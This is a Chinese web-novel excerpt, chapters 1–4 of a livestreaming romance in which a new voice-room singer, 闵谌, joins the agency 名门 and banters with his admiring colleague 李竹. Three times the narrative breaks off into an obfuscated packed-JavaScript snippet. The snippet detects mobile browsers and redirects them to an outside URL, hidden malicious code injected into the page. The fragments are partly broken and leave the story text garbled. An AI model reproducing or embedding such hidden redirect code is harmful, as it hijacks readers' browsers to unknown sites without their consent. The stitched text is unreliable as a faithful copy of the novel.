《语音厅禁止对掏》 1. 第 1 章 S市,八月尾巴,太阳烘烤着地面,整个人热烘烘的,出门能瞬间化成一滩水的程度,今年来天气越来越热,有些地方甚至到了40来度。 闵谌捧着奶茶,嘴里反复咬着吸管,眼睛被公交站旁的公告栏给吸引了。 公告栏有些脏,上面贴满了不知道哪年的招聘小广告,一层又一层,有的已经烂得不像样,东一块西一块的贴上面。 上边贴了张崭新的招聘广告,是密室逃脱的NPC扮演,闵谌拿出手机把上面的电话号码记下来,打算休息会打电话问问。 今天一个早上几乎都在街上晃悠,还找了好几个工作,都是让他回去等通知,一般这种情况他都觉得没希望。 然而正如他所想,夜晚躺在床上时一个电话也没接到,他现在连NPC也当不了。 闵谌是个网络歌手,没有自己的原创歌曲,他没那个资金去请人为自己写歌。从小有个歌手梦的他在网络进了个语音厅,语音厅里没多少人,拢共加起来就十几个,因为某些原因大家一拍两散。 越想越觉得难受,闵谌在床上翻来覆去睡不着,摸到枕边手机点开视频app,打算刷点视频入眠。 刚点开就是条比较伤感的视频,连手机都知道了他现在的处境,一溜刷下去都是伤感视频。 越刷越觉得心死。 正当他心里想着下一条还是伤感视频他就关机睡觉,睡不着也硬睡的时候,一个直播间跳了上来。 这是个音乐厅,名门直播间,有位叫M.六夜竹的人,正放着自己的3D三头身的皮套听人唱歌。 闵谌咬了咬嘴唇,点了进去。 他知道这是什么,是音乐厅在考核。 刚点进去闵谌就听到麦序上的人道:“声音不错,很有前途,就是鞋垫子少放点。” 对方声音很好听,带点儿低音炮的感觉,但没那么低。 那人沉默了一会,道:“好的老师。” M.六夜竹:“下去吧,还有没有要考核的?” 闻言闵谌看了眼直播间人数,3w,他狠狠心,上了麦序。 上来也是抱着试一试的心态,能进就不用再出去找工作了,进不了他就跑外卖,跑外卖不比市面上一些工作来钱快吗,努努力一个月还能挣个小一万呢。 M.六夜竹皮套脑袋晃了晃,“这位…漂亮花儿老师,有进名门的打算吗?” 闵谌连忙戴上耳机开麦,“有的。” M.六夜竹:“好的,请开始。” 闵谌应了声,翻了一首最拿手的歌曲来,这首歌是他一直很喜欢的一首歌,要唱也有点儿难度,没有声卡,他自己也不知道能不能唱好。 闵谌声音很清冽,也很干净。 没想到只唱了几句就被打断了。 M.六夜竹:“漂亮花儿老师,停一下。” 闵谌有些呆,不会被怀疑是录音了吧。 M.六夜竹:“欢迎加入名门。” 这句话如同烟花一般砸进他心里,这道烟花在心里噼里啪啦炸个不停,好半晌才回过神来。 “谢谢谢谢。” M.六夜竹:“记得后台联系我。下一位。” 闵谌心里别提多高兴了,人不会一直倒霉,运气存到了夜晚到来。 后台联系M.六夜竹后,他便进入梦乡。 翌日一早闵谌后台收到了回信,与M.六夜竹加了联系方式后,双方沟通了一下,现在暂时签不了合同,名门公司在A市,需要签纸质合同,对方让他暂时先直播,有空去一趟公司总部,工资从直播第一天开始算起。 名门的整体员工福利看起来还不错,还说了若有好的发展公司不会约束,允许大家朝着更好的方向发展。 通过一个早上的了解,名门是所有做语音厅的公司中最火的一家,流量大,基本上各大知名网络歌手都是名门出去的。 从各种方面来说都很好,只怕新人很难熬出头,流量大就怕接不住。 不过闵谌上一份工作也是做语音厅的,知道怎么来节目,知道怎么稳流量。 做好一切准备,下午吃完饭闵谌就开始在接档群里接档了。 整理好设备,调好电脑,用上了以前花好几万做的2D皮套,在账号前方加上名门的前缀后进入了语音厅。 语音厅麦序上像特意给他留了个位置似的,也不知道是来的刚刚好还是特意留的位置。 在语音厅里唱了几首歌后他开起了直播。 刚开始直播间没多少人,他自己对着皮套摆弄面部表情,直播间放着抒情音乐,声音很小,这样他说话时,直播间的朋友能听到。 他的2D皮套是个成年男子形象,穿着休闲服,一头白发,头发上别了个粉红色发卡。 说话的时候皮套会跟着张嘴。 2D跟3D不一样,3D能动作捕捉,2D做不了那么大幅度的动作,最多歪头眨眼张嘴,跟着晃动两下就没别的了。 这皮套还是他贷款让前公司技术部门做的,效果一般,不过闵谌喜欢。 他不太喜欢浮夸的东西,简简单单就好。 没一会直播间进来一个人,进入直播间的特效非常浮夸,看名字是个姐姐,也是个大佬。 [mm新人?] mm是名门的简称。 闵谌道:“对,我是名门新人,欢迎姐姐。” [声音很好听,有歌单吗?] 歌单他暂时没有,公司还没给他做,“暂时没有,姐姐想听什么?我看看会不会唱,不会的话可以当场学。” [那算了,唱一首你会的吧。] 仅过了半秒,屏幕上出现一道礼物特效,直播间被红玫瑰霸屏。 这是蓝海直播app的最高礼物特效,玫瑰庄园,价值5000元。 闵谌傻了一瞬,忙不迭感谢礼物,“感谢姐姐的玫瑰庄园。” [唱吧。] 闵谌把音乐app翻了个遍,最后选了一首《恋爱频率》,唱的时候把嗓子夹到了极致。 “恋爱频率开启。 我会一点一点想你,一天一遍放在心里。” 唱完闵谌放轻声音问:“好听吗?” [好听,好听。] [好听,主播声音好听。] [新人吗?] [感觉名门一群老登里面,出现了个萌物。] 直播间突然一堆人发言,吓得闵谌抬头看了眼直播间人数,一下子涨到了157人。 后台私信突然闪了一下,他打开一看,是公司给他安排的工作人员,有管理和负责点歌的同事,他们也进入了直播间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483912|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还给他发了一些关于怎么蹭流量的方法,比如多跟人气主播互动,玩一些PK和聊天游戏之类的。 闵谌默默记着,他现在还不太敢跟大主播连线,如果找个跟他差不多一样的新人就不会那么紧张。 鼠标在连线列表里晃了几下,能看到带着名门前缀的直播,还看到了昨晚考核他的考官M.六夜竹在直播。 他晃了晃鼠标翻到最底下,随便找了个公司同事申请连线。 M.妹妹哥。 现在先把这一百多人留住,一个人播大家看久了会觉得没意思,要先稳固一下人数。 对方几乎秒接,两人初次见面过于礼貌,直播间一声接一声的“你好你好”,“老师好老师好”。 M.妹妹哥开的变声器,声音很尖细。 M.妹妹哥率先打破一连串问好,道:“花儿老师玩点什么?” 闵谌也只会玩pk,输了就受惩罚,赢了有奖励。 “先说惩罚吧?” “可以可以。”M.妹妹哥道:“输了唱首歌?” 闵谌道:“可以,我没问题。” M.妹妹哥:“什么风格的?” 闵谌想了想,“让直播间的姐姐们定,到时候截图。” M.妹妹哥:“okok,那我这边点开始了。” 闵谌应了声,关麦关听筒,面对刚涨到200人的直播间,沉默了一会。 他从来没开口问过直播间水友们要礼物,以前都是随缘,那些水友喜欢他会给他刷, 最后他厚着脸皮开口:“姐姐们看着点刷吧,一块钱也行的。” [花儿跟姐姐们撒个娇。] [一块钱给了。] [花儿第一次打pk吧?] [看半天还以为你要什么大礼物呢,就要个荧光棒啊。] 闵谌腼腆地笑了几声,“我是新人,不敢奢求太多,所以大家能帮忙就帮,帮不了也没关系。” 话音刚落,直播间的荧光棒跟不要钱似的刷了起来。 在闵谌看来一块钱也是钱,就算直播间只有一半的人给他刷礼物也是一百来块。但见到有人给他刷礼物也很开心,皮套也跟着咧着嘴乐。 [哎哟我。] [哎哟我。] [哎哟我。] [这小模样,以后花儿就是我爱播了。] [主播要二创吗?] 直播间一排的“哎哟我”,扫了几眼看到有人问他要不要二创,二创属于直播切片,除了剪辑直播还可以加点创意什么的。 “可以吗?”闵谌问。 [可以啊,那以后我负责剪辑你直播二创了。] “谢谢谢谢。” pk时间结束,不出意外闵谌pk输了,对面给他揍惨了。 pk进度条被对面挤了一大半,给他留了一个大拇指宽度的喘息。 他挨个感谢了直播间刷礼物的水友才开麦。 “老师,什么惩罚?” M.妹妹哥道:“我这边弹幕说是唱烧歌,要不来首《痒》吧,声音要夹住哦。” 闵谌一时间绷不住了,最近他嗓子有些不舒服,有些夹不住,容易破音。 “好,没问题。” 能出点节目效果是好的,他想,破音就破音。 2. 第 2 章 一首歌下来直播间弹幕全是一片哈飘过,直播间也跟着涨了不少人。 打完pk闵谌也差不多该下线了,今天也就试着直播看看,见效果还不错,这段时间先这样播着,后期有别的想法再慢慢改变直播间风格。 下播后闵谌点了碗粉,自己躺在床上看管理员发来的消息和注意事项。 只能说蓝海直播平台是个很注重网络文明的直播平台,杜绝一切不文明行为,轻则罚款,重则劝退。 好在他也不是个喜欢说脏话的人,在现实生活中还算是个礼貌文明的人,除了被惹急的时候,毕竟兔子急了也会咬人,这句话不是没有道理的。 外卖到了,他边吃边切换小号,用小号刷刷名门前辈们的直播间取取经。 无意间刷到那天考核他的M.六夜竹,刚点进去就看见他在阴阳怪气,背景音乐放得也很带劲,压迫感很强,让人听了感觉心脏下一秒会跳出来似的。 “不是我说白了,你们怎么那么多事儿呢?这这不行那那不行的,怎么?合着上我这来演绎上帝来了?爱看看不爱看卸载蓝海。” “整天往我直播间一蹲开始当上指挥官了。” “今天想着整点节目给大家看看,不整了。” 闵谌有些羡慕这样的战斗力,换做他他可不敢跟直播间的水友们这样说话。 果然大直播就是硬气。 他点进直播间,底下弹幕如雨水一般飘过,一条接一条,有跟黑粉对骂的,也有安慰M.六夜竹的。 本来黑粉已经被怼得偃旗息鼓,没想到被最后一句话激得发力,弹幕唰唰唰的逐渐增加。 [谁乐意看了?] [不整就不整呗,整天也就那点破节目谁稀罕看。] [不是我说白了,别家直播媚粉,你怎么就这么硬气呢?] M.六夜竹对这些评论当没看见,那位说他不媚粉的黑粉不再冒泡,估计是被直播间管理员给禁言了。 直播间刚和谐了几分钟不到,那人换了个账号还改了名字进来。 叫“连粉都媚不明白别播了”。 M.六夜竹二话不说抬手把人踢出直播间。 “你要是想吃刀马就继续换号进来,你看我奖不奖励你。” [?] [?] [?] [?] 一个新词汇闯入脑海,闵谌抱着手机,敲敲打打,默默发出一条弹幕。 [刀马是什么?] M.六夜竹笑了,“一分钟,我给你们看看刀马是什么。” 直播间传来稀稀疏疏的声音,一声重物被放在桌上的闷响声后,电脑屏幕上出现了一只骨节分明手指修长的手。 “这个,明白了吗?” 鼠标在屏幕上那张手掌的图片周围绕了几圈。 闵谌瞬间反应过来,刀马就是巴掌。 这人是跑在网络热梗前面吗? 看了一会直播闵谌就睡觉了,这几天要去公司总部签合同,机票公司那边已经买好了,不过后续他需要住在公司宿舍,每个月必须开大会。 一想到会见到很多同事他就紧张。 - 闵谌起了个大早,收拾好行李,还把家里需要的东西打包快递寄到A市名门总部公司。 收拾完立刻拉着行李箱赶往机场。 坐了几个小时飞机后成功抵达A市,公司还特意派了人接他。 来人身高目测一米八九的样子,闵谌一米七九,这人高他一个头,鼻梁高挺,单眼皮,看人的时候给人一种千里之外的感觉。 大老远闵谌见人朝着自己走来,就在人到他面前时,他往后挪了一小步,生怕这人把他掳走。 来人上身穿了一件白色T恤,下身一条花裤衩,脚踩一双人字拖。 “漂亮花儿?” 对方一张嘴一股北方味儿。 被人叫这个名字闵谌心里一股羞耻感涌上心头,尴尬得想脚趾抠地。 他弱弱点点头,乖巧道:“老师好。” 对方点头,单眼皮上下打量他,“我是六夜竹,叫我李竹就行,直播的时候别叫,哥们不想实名制上网。” 闵谌再次点头,“好的,竹哥。” 李竹拉过他的行李箱,“走吧,我带你去,你所有签合同的流程由我负责。” 闵谌跟在身后,闻言加快脚步走在他身侧,“你也要跟着我签合同吗?” “......”李竹有些无语地看他一眼,“有机会我会在甲方那栏签上我名字的。” 闵谌:“......” 两人上车后一句话没说,车里放着强劲的dj曲,闵谌一句话不敢说,只能左看右看,时不时看向窗外,觉得眼花又通过后视镜去看李竹。 不得不说李竹长得很超标了,他一个南方人都觉得超标的程度。 对于他来说,李竹身上独特的气质就像个大哥,但从某些方面来说。 穿搭… 更像社会大哥了。 本以为来接他的会是个穿着时尚又潮流的同事,没想到是这副模样。 抵达公司楼下,李竹关掉车载音乐,道:“你在这下车,进大厅等我一会儿,我停个车就来。” 闵谌单纯的发出疑问:“那为什么不直接开进地下车库?” 李竹耐心回答:“因为地下车库没位置了,还有什么想问的吗?” “有。” “请说。” “为什么你今天穿这身来接我?” 李竹低头看了眼自己,老头衫,花裤衩,人字拖。 “因为我刚醒,就被叫来接你了,还有什么要问的吗?”最后那几个字,李竹几乎是咬着牙说出来的。 闵谌摇头,乖巧下车,趴在车窗旁道:“没有了,谢谢竹哥回答我的问题。” 李竹挥手,“赶紧进去,大厅有沙发,别乱跑。” 闵谌点头:“好。” 待人进入公司大厅后他才慢悠悠发动车子。 停车位不远,也就公司对面,别人家公司楼下的停车位,那会说买停车位的时候,他以为是公司同事问的,等买下来后才告诉他是对面公司的工作人员着急卖车位才联系他。 把车停好后他才发现对方的行李还在他车上没有拿下去。 李竹在拿与不拿之间犹豫了一会,选择不拿。 他自己也住员工宿舍,这人应该会接受公司安排住员工宿舍,先放着,省得来回跑。 李竹关上门大步流星朝着公司大门走去,路上还碰见了对面那个把车位卖给他的人,两人还打了个招呼。 “竹哥,你今儿不是休息么?” 李竹皮笑肉不笑,至今难忘自己被对方坑的事情,“来接个人。” 那人当看不见,一脸八卦脸凑过来,“谁啊?对象么?” 李竹挥开他,“边儿去,公司新同事。” 那人张大嘴巴“哦”了一长串,吹着口哨吊儿郎当地走了。 李竹看着他背影,眼皮跟着跳了几下,他没当回事,转头进入公司大厅。 刚进去就看见新同事正乖巧地坐在沙发上,面前放着杯水,看见他时,新同事立马站起来,本来脸上什么表情也没有,一看见他就露出抹礼貌的笑容。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483913|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “竹哥。” 李竹下巴朝电梯那边点了下,“走吧。” “好。” 一切流程走完时,闵谌才知道李竹是名门整个公司的代理,至于是什么代理,简单来说就是代理总裁。 回到公司安排的宿舍。 宿舍很大,一室一卫一厅,就是个小型公寓,装修整体偏灰白色调,显得很高级。 在宿舍逛了一圈,后知后觉的他,脑子突然浮现出昨晚李竹在直播间骂人时的语气。 闵谌拍拍自己脑袋,在心里说了句自己反射弧怎么这么长,现在才想起来,还好白天那会李竹没有骂他。 李竹送他回来的时候嘱咐他今晚不用直播可以休息休息,毕竟坐飞机挺累的。 今晚的吃食只能自己外出寻觅,第一次来A市,没人带着,他估计会迷路,想叫上人一起,他这会儿也就认识李竹。 正琢磨怎么解决晚饭的时候,房门被人敲响。 “谁?”闵谌压低声音。 门外那人道:“李竹。” 听到是认识的人他才起身开门。 门刚打开,一只骨节分明的手提着个透明塑料袋,里面装着食物,嘴上调侃他,“这么警惕,很不错。我刚在楼下买的,有空带你在A市逛逛,有什么事可以找我,我住你对门。” 闵谌抿嘴笑笑,接过他手中塑料袋:“谢谢。” 李竹:“没事。” 说完人也没走,两人这么面对面站着,谁也没说话。 气氛越来越沉默,闵谌手指扣着门框,试探性道:“竹哥要进来坐会儿吗?” 李竹回过神,“不用,你那儿化音说不明白咱不说了啊,咱公司不要求说儿化音。” 闵谌:“......” 李竹说完,双手插在花裤衩口袋里,蹬着人字拖走了,看背影有些落荒而逃的意味。 李竹开门进屋又开门出来,看见闵谌还站在门口,“进去吧。” 闵谌:“好。” 等对面门关上以后李竹就跟太奶在身后追着他屁股抽似的溜进门,紧接着他火速拿出手机,在屏幕上狠狠敲了几下。 下一秒手机传来短暂的振动。 他眨眨眼,点开手机查看对方回复。 [麻瓜:兄弟,19:36分,我确认我一见钟情了。] [秃头哥:大拇指/大拇指/兄弟,你都一见钟情多少年了,又一见钟情了?] [麻瓜:你别管,什么都不说了,好兄弟一辈子。] [秃头哥:什么玩意儿?] 看完兄弟回的最后一条消息后,他把手机丢到沙发上,在屋内打了一套军体拳平复自己的心情。 没几分钟,沙发上的手机响了。 打完军体拳,他看也没看手机,撸了一把额前的头发,拿着换洗衣服进入浴室,洗了个舒舒服服的热水澡。 打开手机一看,上面十几个秃头哥的来电。 李竹嘟囔了句:“这人真是锲而不舍,电话费跟不要钱似的。” 又过了一会,手机再次响起,拿起来看,还是秃头哥打来的电话。 他这才慢悠悠地接起电话,用他那低沉的嗓音道:“你要唱什么?” 电话那头的秃头哥火气一下被这句话给问没了。 “啥我唱什么?说点人言人语行成么?” “你想说什么。” “闵谌来A市了?” 李竹淡淡道:“怎么?” “什么怎么?我肯定立马回国啊,珍惜你现在的代理总裁的地位吧。”秃头哥下达最后的通牒。 李竹道:“滚犊子。” 3. 第 3 章 闵谌一大早就在群里扣排,去了名门语音厅开始唱歌。 唱了两首规定的题材歌曲后才开始思考吃早餐的问题。 这会下楼也不知道能遇到什么吃的,洗漱好穿好衣服出门,在公司楼下逛了一圈,没有早餐店,顶着空虚的肚子回公寓。 刚走到公寓楼下,身后有人喊了一声。 “花儿。” 闵谌猛地一扭头。 来人是李竹,今天他穿了件皮衣,搭配工装裤和皮靴。 闵谌抬头看了眼大早晨就高高挂起的太阳,又看看只穿了一件T恤跟牛仔裤的自己。 “竹哥。” 李竹手里提着两份早餐向他走来,走近还能闻到对方身上的香水味,一股淡淡的水蜜桃味,甜甜的感觉。 闵谌很喜欢这个味道,很好闻。 他在心里给对方打了个标签,李竹有品。 李竹走到他身边,自然地将手里另一份早餐递给他,“喏。” 闵谌呆呆地看着递到自己面前的早餐,不理解为什么这人昨天给他带晚饭,今天给他带早餐。 他们俩好像也没有很熟悉的样子,今天应该是见面的第二天。 心里怎么想的他就怎么问了出来,“竹哥是有什么事需要我帮忙的吗?” 李竹没懂,送个早餐怎么就扯上了需要帮忙这份上。 “什么?” “你…”说到一半,闵谌看到李竹的表情后立刻摇头,“没什么,谢谢竹哥的早餐,我先上去了。” 李竹站在原地,脸色阴沉得可怕。 今早特意早起对镜子打扮了一番,还特意喷了闵谌最喜欢的香水味,早早就出门了,买了早餐一直捂着深怕凉了,还给自己捂出一身汗,裤兜滚烫。 看见人下来的时候,立马掏出兜,装作刚回来的模样,如此自然地将早餐给对方,一切都在他的安排之中,就差得到闵谌一个脸颊吻罢了。 没想到得到一句“他是不是有什么需要帮忙的事”。 越想越气,本来还想着趁这个机会加个联系方式,这下好了,联系方式又加不上了。 一股邪火压在心底无法发泄。 李竹掏出手机,单手叉着腰在公寓门口来回踱步,大拇指在手机里翻出好兄弟的电话号码想也没想就拨过去。 嘟了几声,电话被接通。 电话那头传来好兄弟迷糊且带着不耐烦的声音。 “李竹,你大晚上脑子抽什么疯?脑子不好就去治,大晚上打扰我休息你想干鸡毛?” 李竹沉默了一会,缓缓开口:“我给你订机票,今儿个晚上321国道等你,穿少点。” “神经病。” 啪叽,电话被挂断。 李竹长长地舒了口气,现在心情好点儿了。 他心情不愉快,自家好兄弟的心情也必须跟他一样。 今天务必加上闵谌的联系方式。 抱着这个想法上楼,来到闵谌房门口敲了三下,屋内传来脚步声,脚步声到门边就停下来,李竹非常自觉地站到猫眼儿能看到的地方大大方方展示自己。 啪嗒,房门打开。 李竹把自己手机递到他眼前,“加。” 闵谌抖了一下,连忙从兜里拿出手机点开扫码。 “滴。” 闵谌一顿操作后小心翼翼地看着他,“加…加了。” 李竹收回手机,看到红点后转身回了对门。 闵谌莫名其妙地挠挠脑袋,等了几秒才关门。 李竹在屋内又来一套军体拳,快速通过对方好友,接着神采奕奕地给好兄弟发去消息。 [麻瓜:哥们拿到联系方式了,改天请你吃饭。] [秃头哥:滚。中指/翻白眼/] 被骂李竹也不恼,给好兄弟发去0.01元转账,放下手机,打开直播开始工作。 他想跟闵谌同一时间直播,这样对方打pk没人的时候可以找他,不过他等了一个小时也没收到闵谌的pk邀请。 倒是收到了远在异国他乡的好兄弟的连麦申请。 李竹点了几次拒绝,好兄弟还是锲而不舍地发起连麦申请。 “啧,家人们,连个麦。” 屏幕被分成两宫格,好兄弟M.9527带着混音出现在直播间。 “皇从天降,为何拒绝朕的连麦申请。” 李竹道:“不想接。” M.9527:“不想接?这会儿又不是你大晚上给我打电话扰我清梦的时候了?” 李竹:“并没有,现在10:12分。” M.9527愤怒道:“我在国外!国外!You know?” 李竹轻飘飘道:“no。” M.9527气得电子皮套脑袋厥了个180°,扭曲得不成样子,说话也卡成了电子音。 李竹轻描淡写道:“非常抱歉家人们,我老板抽风了,不好意思,我现在就让他麻溜地离开我的直播间。” 话落M.9527喜提一道横幅。 [您已被M.六夜竹提出直播连线,欢迎下次再来哦~( ̄O ̄)ノ] M.9527看着飘在自己直播间的横幅,气得额角青筋暴起,疯狂往李竹微信轰炸了几十条60s的语音。 这几十条60秒的语音含亲友浓度极高。 [麻瓜:我耳朵捐了,花钱给我买一对再听。挥手/] [麻瓜:么么哒么么哒么么哒么么哒么么哒。(=??????=?????)?] M.9527此刻心里有种深深的无力感,一拳打在棉花上。 他决定现在就买机票回国,今晚国道互砍。 睡什么觉,不睡了,先把兄弟弄死再说。 李竹放下手机,一边直播一边看看右下角有没有人弹出pk或者连麦申请。 中途被拉进局里玩了几把pk,还去考核了新人,没有一个理想的,回来也没收到那人连线申请。 等到花儿都谢了的时候,屏幕右下角弹出一个盯了很久的名字。 [M.漂亮花儿邀请你直播连线,同意或拒绝。] 压了一上午的嘴角终于有了一点弧度,点下同意。 刚进局的时候就已经看见直播间被分成了八宫格,加上他九宫格,个个都是熟人,也是名门的老油条,只有闵谌一个新人。 闵谌直播的皮套歪了歪头,“竹哥。” 紧接着直播间一声接一声此起彼伏的“竹哥好”。 李竹张嘴才冒了个音就被闵谌制止。 闵谌:“闭嘴。” 李竹难得愣怔。 下一秒,一首歌曲的音乐响起,伴随着闵谌的声音。 “啦啦啦啦啦啦啦~粉红的扇子飞舞~” “啦啦啦啦啦啦啦~想和你一起漫步~” 男生夹着嗓子歌唱,有股娇滴滴的感觉,再加上声卡让声音变得有质感了很多,仿佛这人就在身旁,趴在他耳朵边歌唱着这首歌。 [哈哈哈哈哈哈哈哈哈。] [哈哈哈哈,竹队表情笑死了。] [哈哈哈哈哈哈哈哈哈哈,我受不了了,这几个老油条我真受不了了。] [绝了!] 一曲完毕,弹幕一水儿的好听和哈哈哈。 李竹还没反应过来,“什么意思?” [现在是什么意思了。] [为何不飚出那句啥玩意儿?] [竹队是不好意思了吗?] [笑死了,竹队还在懵逼哈哈哈哈哈哈哈。]
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483914|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > [花儿奖励你来了,竹队哈哈哈哈哈哈哈。] 李竹看着弹幕,才反应过来,闵谌打pk输了,这群人罚他给自己唱歌。 还没等他说话,下一首歌就来了。 “我说好饿一天没吃饭,你说没吃饭你不饿吗?” 李竹:“……” “我说饿啊,他说你别饿。” 李竹:“……” [今日太有节目了。] [花儿!你在用你的嗓子唱什么!] [哈哈哈哈哈哈哈哈哈。] [哈哈哈哈哈哈哈哈哈哈哈哈哈。] [哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈。] 直播间也跟着哈声一片。 李竹先是无奈,随后绷不住抿嘴死命压着上扬的嘴角,最后还是忍不住跟着笑出声。 闵谌唱完整个人都要羞进电脑桌底下去了,主要是俩人还是对门,抬头不见低头见的,看见会尴尬。 直播间人数因为今天的节目增加了两千,后台账号粉丝数量也增加了一千。 直播间热度上来了,官方也给了流量,有些是从同事直播间来的水友,有些是路人。 闵谌有点儿后悔跟他们打pk,自己直播间人数没多少,打pk礼物根本刷不过他们。 打完这场就打算走,鼠标在退出连线上犹豫了一会,就听见耳机里传来李竹的声音。 “哥几个玩下?” M.噗噗:“竹队想怎么玩啊?” M.假人:“九个人,人数不公平啊。” M.预制菜:“实在不行一打八呗。” M.西瓜皮:竹队一打八,把我们打成臊子咋整。 M.直直:哈哈哈哈哈哈哈,其实我觉得可行啊。 M.气球:你看你们,我支持一打八。 M.皇子:竹队你看看这些人的嘴脸,我也支持。 李竹“啧”了声,“我跟花儿两个人打你们七个,实在不行我把9527拽进来,二打八。” 被点名的闵谌乖巧收回手,坐姿不由自主正了点。 闵谌:“竹哥,我怕我拖你后腿。” 李竹安慰道:“别怕,当吉祥物就行。” M.皇子:“还是竹队硬气,那行啊,把9总拽进来一块玩呗。” 李竹二话不说,把M.9527拽进来。 M.9527混音没关,一张口那空旷的嗓子飚出来。 “你他喵的又干嘛?” 李竹道:“打pk,二打八,打不打?” M.9527闻言一口应下,他不信八个人打不过两个人,更何况还带了个新人的情况下,李竹相当于一个人打他们八个。 直播间主持分好队,他们是红方,其他人都是蓝方。 关麦前闵谌忍不住问:“竹哥,真的没问题吗?” 李竹放着劲爆的音乐道:“没事儿,吉祥物玩去吧,啊,带你复仇。” 这话砸进闵谌心里,就好像是李竹进来给他撑腰似的。 闵谌放了首比较有激情的音乐,声音听起来闷闷的,“直播间的哥姐们我不想拖竹哥后腿,哥姐们可以适当刷点,我也想出一份力。” [刷,哥姐们给你刷。] [你竹哥可厉害了,别怕,哥姐们会帮你出点力的。] [花儿别觉得拖累竹队。] 直播间弹幕一大半水友们安慰他,屏幕上是时不时跳出个几十块钱的礼物,其中也有几个几百块的礼物。 他进度条跟没长似的,短短的。 [看看头顶。] [看看头顶。] [看看头顶。] 闵谌听话地抬头一看。 好家伙,红色方占据整个进度条的3/5。 4. 第 4 章 pk时间结束。 八打二,八没打赢二,闵谌成功躺赢。 李竹开麦:“来,开麦我看看,M.9527挺狂是吧,9527开麦。” M.9527皮套嘴唇抿成一条直线,不敢吱声儿。 其他人也纷纷开麦,都不敢说话。 “说话。” 李竹声音不大,起伏不大,但光从耳机传入就让人心颤。 M.9527张口:“兄弟罚轻点,回国后我俩不上国道了,上家里,上家里给你弄好吃的。” 李竹:“我稀罕你那点粗茶淡饭么?” M.9527:“看不起粗茶淡饭?” 李竹:“没有,你做的那不叫粗茶淡饭,叫猪潲。” M.9527:“……” 直播间弹幕: [哈哈哈哈哈哈哈,竹哥还是这么语出惊人。] [你永远猜不到这个男人下一秒要说什么。] [猪潲可还行,xsl。] [我要有六夜竹这张嘴,我也不至于现实生活中当牛马,我直接骑老板头上拉屎。] [哈哈哈哈哈哈哈,9总六夜竹不去我去,我去尝尝什么玩意儿这么难吃。/对手指噘嘴] M.9527欲言又止,想骂人怕被封号,最后只能作罢,“说吧罚什么?” 李竹想也没想道:“你们把刚刚花儿唱的两首歌都对着9总唱一遍。” 闵谌一愣,这人真是来给他撑腰的。 可他们原先并没有任何交集,甚至他第一次上麦考核时才认识的李竹,对方有什么理由给他撑腰。 难不成关爱公司新同事? 老人对新人这么关爱有加,闵谌在心里给李竹又贴了个标签。 关爱有加。 下播的时候闵谌觉得自己脑中一直环绕着《扇子舞》这首歌,满脑子的: “啦啦啦啦啦啦啦,粉红的扇子飞舞~” 这首歌在脑中单曲循环播放,伴随他陷入睡眠,以至于做梦的时候也是这首歌。 一把扇子长了脚,一边啦啦啦一边追着他跑,跑到天涯海角也没选择放过他,无论提出什么要求。 最后一把扇子变成了无数把扇子追着他啦啦啦个不停。 闵谌早上起床感觉脑子被捶了一顿似的,疼得钻心,在床上缓了好一会才起床洗漱收拾自己。 他手机没有开静音的习惯,刚洗漱完手机在被子里响个不停,距离他手机这么热闹还是前几个月。 闵谌扫了几眼消息,是李竹拉他进名门各种群消息。 名门有各种分厅,他属于男明星厅,这会就是男明星群聊消息在弹个不停。 公司总裁回国了,邀请大家今晚下播一起吃顿饭,这会群里正在讨论去哪吃饭,其中有好几条艾特李竹的消息。 [麻瓜:晚点给大家发地址,去不了的在群里说一声。] [麻瓜:@mm,我这会在机场,要喝点什么,回来给你带。] 闵谌还在考虑晚上去不去聚餐这件事,看到这条消息整个人都不好了。 他这个人是有点呆,身上根本没有对方需要的东西,不是很明白对方为什么要照顾到他这个地步,出门办点事还要问他喝点什么。 少顷,群里又冒出一条李竹的消息。 [麻瓜:@所有人,你们呢?] 闵谌整个人突然又好了,跟着群里其中一位同事要了一样的奶茶后继续潜水。 但是李竹像只鬼一样缠上来,给他打了通电话。 李竹那边很吵,偶尔还有人同他说话的声音。 “干嘛呢?” 闵谌眼睛望着地面:“我刚洗漱完。” 李竹:“要吃点啥,喝的我知道了,吃的呢?” 闵谌拒绝:“不用了竹哥,我自己点外卖就行。” 李竹声音拔高了几分:“你知道地址?” 闵谌:“不知道,可以问问你吗?” 李竹声音又变回正常音量:“不知道就行。不可以。” 闵谌:“啊?......什么?” 李竹:“没什么。” 闵谌:“好吧,那麻烦竹哥给我带一份包子和豆浆,谢谢。” 李竹:“行,知道了,到家了给你打电话。” 最后几句对话跟老夫老妻似的。 闵谌抓抓头发,换了身比较凉快的衣服,点开语音厅接档去了。 